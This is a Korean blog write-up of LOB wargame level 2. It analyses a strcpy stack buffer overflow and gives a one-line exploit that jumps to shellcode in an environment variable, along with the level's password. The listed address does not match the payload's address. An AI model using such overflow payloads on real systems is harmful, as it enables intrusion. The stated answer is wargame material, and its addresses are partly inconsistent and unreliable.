thumbnail
cd ..
root@blog:~/posts/ 202210

FTZ LOB LEVEL 2

#KOR#pwn
2022.10.12.

0. 들어가기 전에

사실 이번 문제도.. 그냥 기본 BOF문제이다. 딱히 설명할 건 없어서 그냥 빠르게 풀이하도록 하겠다.

모르는 걸 물어보는건 죄가 아니지만, FTZ 시리즈로 글을 쓴 것만 읽어봐도 “버퍼오버플로우가 뮈예요?” 같은 의문들은 해결된다고 생각한다..ㅠㅠ (나도 초보자중에 쌩초보다..)

1. Level 2 : Gremlin -> Cobolt

바로 소스코드와 어셈블리 코드를 분석해보자.

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %ebp,%esp
0x8048433 <main+3>:     sub    %esp,16
0x8048436 <main+6>:     cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:    jg     0x8048453 <main+35>
0x804843c <main+12>:    push   0x80484d0
0x8048441 <main+17>:    call   0x8048350 <printf>
0x8048446 <main+22>:    add    %esp,4
0x8048449 <main+25>:    push   0
0x804844b <main+27>:    call   0x8048360 <exit>
0x8048450 <main+32>:    add    %esp,4
0x8048453 <main+35>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:    add    %eax,4
0x8048459 <main+41>:    mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:    push   %edx
0x804845c <main+44>:    lea    %eax,[%ebp-16]
0x804845f <main+47>:    push   %eax
0x8048460 <main+48>:    call   0x8048370 <strcpy>
0x8048465 <main+53>:    add    %esp,8
0x8048468 <main+56>:    lea    %eax,[%ebp-16]
0x804846b <main+59>:    push   %eax
0x804846c <main+60>:    push   0x80484dc

앗 그리고, LOB 환경에서는 우리가 주소를 쓸 떄 사용하는 \xff를 x00으로 인식해 버퍼오버플로우가 안되는 오류(는 아니고, 그냥 리눅스 서버 특정 버전의 특징이다.) 가 있다. 따라서 꼭 BOF 공격 코드를 넣기 전에 bash2명령어를 입력한 후 넣도록 하자!

이번에도 환경 변수는 사용 가능하니 EGG를 만들어서 주소를 확인하자.

환경 변수와 그에 따른 익스플로잇 :

0xbffffdc2
./cobolt `python -c 'print "A"*20 + "\xfc\xfe\xff\xbf"'`

비밀번호 : hacking exposed


Source

[ comments ]